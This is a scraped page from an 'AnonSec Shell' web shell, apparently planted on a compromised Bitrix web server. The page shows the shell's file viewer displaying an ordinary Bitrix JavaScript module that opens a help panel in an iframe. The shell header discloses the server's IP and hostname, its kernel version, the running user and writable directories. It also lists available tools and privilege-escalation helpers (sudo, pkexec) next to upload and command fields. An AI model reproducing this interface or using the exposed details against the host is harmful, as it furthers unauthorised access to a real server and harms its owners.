AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.221.107.62
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/ui/manual/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/ui/manual/src/manual.js
import {ajax, Type, Tag} from 'main.core';

type Params = {
	manualCode: string,
	urlParams: Object,
	analyticsLabel: Object,
	width?: number
}

type ResponseInitParams = {
	data: {
		url: string
	}
}

export class Manual
{
	constructor(params: Params): void
	{
		this.manualCode = Type.isString(params.manualCode) ? params.manualCode : '';
		this.width = Type.isNumber(params.width) ? params.width : 1000;
		this.urlParams = Type.isPlainObject(params.urlParams) ? params.urlParams : {};
		this.analyticsLabel = Type.isPlainObject(params.analyticsLabel) ? params.analyticsLabel : {};

		this.sidePanelId = 'manual-side-panel-' + this.manualCode;
	}

	static show(manualCode: string, urlParams = {}, analyticsLabel = {}): void
	{
		const manual = new Manual({ manualCode, urlParams, analyticsLabel });

		manual.open();
	}

	open(): void
	{
		if (this.isOpen())
		{
			return;
		}

		BX.SidePanel.Instance.open(
			this.sidePanelId,
			{
				contentCallback: () => this.createFrame(),
				width: this.width
			}
		);
	}

	createFrame(): Promise
	{
		return new Promise((resolve, reject) => {
			ajax.runAction(
				'ui.manual.getInitParams',
				{
					data: {
						manualCode: this.manualCode,
						urlParams: this.urlParams
					},
					analyticsLabel: this.analyticsLabel
				}
			)
				.then((response: ResponseInitParams) => {
					resolve(this.renderFrame(response.data.url));
				});
		});
	}

	renderFrame(url: string): HTMLElement
	{
		const frameStyles = 'position: absolute; left: 0; top: 0; padding: 0;'
			+ ' border: none; margin: 0; width: 100%; height: 100%;';

		return Tag.render`<iframe style="${frameStyles}" src="${url}"></iframe>`;
	}

	getSidePanel(): BX.SidePanel.Slider
	{
		return BX.SidePanel.Instance.getSlider(this.sidePanelId);
	}

	isOpen(): boolean
	{
		return this.getSidePanel() && this.getSidePanel().isOpen();
	}
}

Anon7 - 2022
AnonSec Team